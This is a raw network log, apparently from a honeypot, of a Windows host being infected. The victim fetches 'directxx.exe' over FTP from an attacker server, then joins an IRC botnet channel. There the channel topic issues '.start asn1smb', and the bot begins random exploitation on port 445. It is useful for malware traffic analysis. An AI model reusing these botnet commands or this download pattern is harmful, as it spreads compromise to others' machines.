ATTACKER: 220 NzmxFtpd 0wns j0 VICTIM: USER 1 ATTACKER: 331 Password required VICTIM: PASS 1 ATTACKER: 230 User logged in. VICTIM: PORT 192,168,1,222,4 ATTACKER: 200 PORT command successful. ATTACKER: RETR directxx.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye happy r00ting. VICTIM: NICK USA|00|2K|SP2|L|128328USER ywbcseav 0 0 :USA|00|2K|SP2|L|128328 ATTACKER: :irc3.kid.de NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: :irc3.kid.de 001 USA|00|2K|SP2|L|128328 :Welcome to the cyberkid IRC Network USA|00|2K|SP2|L|128328!ywbcseav@192.168.1.222:irc3.kid.de 002 USA|00|2K|SP2|L|128328 :Your host is irc3.kid.de, running version Unreal3.2.4:irc3.kid.de 003 USA|00|2K|SP2|L|128328 :This server was created Fri May 23 2008 at 02:13:08 CEST:irc3.kid.de 004 USA|00|2K|SP2|L|128328 irc3.kid.de Unreal3.2.4 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc3.kid.de 005 USA|00|2K|SP2|L|128328 CMDS=KNOCK,MAP,DCCALLOW,USERIP SAFELIST HCN MAXCHANNELS=50 CHANLIMIT=#:50 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS :are supported by this server:irc3.kid.de 005 USA|00|2K|SP2|L|128328 WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=cyberkid CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX :are supported by this server:irc3.kid.de 251 USA|00|2K|SP2|L|128328 :There are 1560 users and 3133 invisible on 6 servers:irc3.kid.de 252 USA|00|2K|SP2|L|128328 12 :operator(s) online:irc3.kid.de 254 USA|00|2K|SP2|L|128328 12 :channels formed:irc3.kid.de 255 USA|00|2K|SP2|L|128328 :I have 1899 clients and 1 servers:irc3.kid.de 265 USA|00|2K|SP2|L|128328 :Current Local Users: 1899 Max: 3145:irc3.kid.de 266 USA|00|2K|SP2|L|128328 :Current Global Users: 4693 Max: 9836:irc3.kid.de 375 USA|00|2K|SP2|L| ATTACKER: 128328 :- irc3.kid.de Message of the Day - :irc3.kid.de 372 USA|00|2K|SP2|L|128328 :- 11/5/2008 12:34:irc3.kid.de 372 USA|00|2K|SP2|L|128328 :- Is this like a clan?:irc3.kid.de 372 USA|00|2K|SP2|L|128328 :- No. We are not a clan. We do not rely on any external organizations,:irc3.kid.de 372 USA|00|2K|SP2|L|128328 :- ladders, clubs, or groups for this tournament. BFE has its own schedule,:irc3.kid.de 372 USA|00|2K|SP2|L|128328 :- servers, administrators, forums, and armies - everything needed to run:irc3.kid.de 372 USA|00|2K|SP2|L|128328 :- independently and entirely on its own. Individuals and members of clans:irc3.kid.de 372 USA|00|2K|SP2|L|128328 :- are welcomed to join!:irc3.kid.de 372 USA|00|2K|SP2|L|128328 :- :irc3.kid.de 376 USA|00|2K|SP2|L|128328 :End of /MOTD command.:USA|00|2K|SP2|L|128328 MODE USA|00|2K|SP2|L|128328 :+iwx VICTIM: USERHOST USA|00|2K|SP2|L|128328 VICTIM: MODE USA|00|2K|SP2|L|128328 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|2K|SP2|L|128328MODE USA|00|2K|SP2|L|128328 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|2K|SP2|L|128328MODE USA|00|2K|SP2|L|128328 -xt+iBJOIN ##FigaX## s33R09 ATTACKER: :irc3.kid.de 302 USA|00|2K|SP2|L|128328 :USA|00|2K|SP2|L|128328=+ywbcseav@192.168.1.222 ATTACKER: :irc3.kid.de NOTICE USA|00|2K|SP2|L|128328 :BOTMOTD File not found:USA|00|2K|SP2|L|128328 MODE USA|00|2K|SP2|L|128328 :-x+B:USA|00|2K|SP2|L|128328!ywbcseav@192.168.1.222 JOIN :##FigaX##:irc3.kid.de 332 USA|00|2K|SP2|L|128328 ##FigaX## :.start asn1smb 30 5 0 x.x.x.x:irc3.kid.de 333 USA|00|2K|SP2|L|128328 ##FigaX## AnGel 1212239090:irc3.kid.de 353 USA|00|2K|SP2|L|128328 @ ##FigaX## :USA|00|2K|SP2|L|128328 ~AnGel @matrix @wizard @mc :irc3.kid.de 366 USA|00|2K|SP2|L|128328 ##FigaX## :End of /NAMES list.:irc3.kid.de 302 USA|00|2K|SP2|L|128328 :USA|00|2K|SP2|L|128328=+ywbcseav@192.168.1.222 :irc3.kid.de 302 USA|00|2K|SP2|L|128328 :USA|00|2K|SP2|L|128328=+ywbcseav@192.168.1.222 VICTIM: PRIVMSG ##FigaX## :\002n\002z\037m\037 (root.p\037l\037g) \002\273\273\002 Random Exploitation started on x.x.x.x:445 waiting 5 seconds for 0 minutes using 30 threads.